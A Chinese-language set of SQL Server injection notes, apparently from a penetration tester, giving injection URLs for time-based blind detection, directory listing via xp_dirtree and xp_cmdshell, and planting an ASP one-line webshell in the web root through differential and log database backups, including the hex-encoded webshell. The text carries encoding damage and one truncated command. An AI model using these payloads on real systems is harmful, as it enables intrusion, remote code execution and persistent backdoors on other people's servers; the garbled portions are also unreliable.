SQL Server注入筆記
在一些大公司,通常都是使用mysql+php+apache的居多,對(duì)Microsoft SQL Server 注入實(shí)戰(zhàn)相對(duì)就較少,平時(shí)在處理漏洞或者測(cè)試時(shí),對(duì)于一些有學(xué)習(xí)價(jià)值的注入測(cè)試思路、sql語(yǔ)句都會(huì)文本備忘下,這里索性就將sql server注入筆記放上來(lái),便于查詢。
在一些盲注中,尤其是沒(méi)有過(guò)多錯(cuò)誤回顯信息的情況下,若語(yǔ)句執(zhí)行成功就返回正常,若失敗就彈框提示“服務(wù)器連接超時(shí)”之類的錯(cuò)誤提示,連爆表、爆字段的機(jī)會(huì)都沒(méi)有。最初,查詢db_owner、sysadmin、xp_cmdshell都是有權(quán)限的,如下所示:

但是,每次用sqlmqp的--sql-shell的功能執(zhí)行insert總是失敗。后來(lái)直接在瀏覽器上測(cè)試insert語(yǔ)句發(fā)現(xiàn)執(zhí)行失敗,可見(jiàn)sqlmap的sql-shell功能對(duì)語(yǔ)句是否執(zhí)行功能的判斷還是比較有限的,啥也沒(méi)返回。
1、判斷注入大多是and 1=1之類的語(yǔ)句,也經(jīng)常被過(guò)濾掉,這里備忘下sql server基于時(shí)間的注入判斷:
test.aspx?ID=300 WAITFOR DELAY '0:0:5'--
2、最初通過(guò)xp_regread讀取注冊(cè)表值來(lái)獲取web路徑:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots,但是返回為空,于是就采用下列方法遍歷C盤,并將結(jié)果寫入臨時(shí)表中(注意:在執(zhí)行擴(kuò)展存儲(chǔ)功能時(shí),所創(chuàng)建的表段應(yīng)于擴(kuò)展存儲(chǔ)功能的參數(shù)相一致,否則會(huì)出錯(cuò)!):
test.aspx?ID=300;CREATE TABLE TMP([ID] int IDENTITY (1,1) NOT NULL,[name] [nvarchar] (300) NOT NULL,[depth] [int] NOT NULL,[isfile] [nvarchar] (50) NULL);insert into tmp exec master..xp_dirtree 'c:/',1,1
用sqlmap把表TMP中的值跑出來(lái):
比如站點(diǎn)主目錄位于默認(rèn)路徑C:/inetpub/wwwroot,那么通過(guò)以下命令可寫入一句話木馬,其中的中括號(hào)前面需要使用^轉(zhuǎn)義:
test.aspx?ID=300;exec master..xp_cmdshell 'echo ^
test.asp?ID=300;backup database 數(shù)據(jù)庫(kù)名 to disk='c:/inetpub/wwwroot/d.asp' WITH DIFFERENTIAL,FORMAT;-- 只備份差異數(shù)據(jù)到asp文件中
或者通過(guò)log備份寫入:
test.asp?ID=300;alter database dbname set RECOVER FULL; 設(shè)置數(shù)據(jù)庫(kù)為完全恢復(fù)模式,以允許備份日志
test.asp?ID=300;create table cmd(a image);
test.asp?ID=300;backup log dbname do disk='c:\cmd' with init; 初始化日志
test.asp?ID=300;insert into cmd(a) values(0x3C25657865637574652872657175657374282261222929253E); 插入一句話木馬
test.asp?ID=300;backup log dbname to disk='c:/inetpub/wwwroot/d.asp';drop table cmd;-- 備份包含木馬的日志,并刪除創(chuàng)建表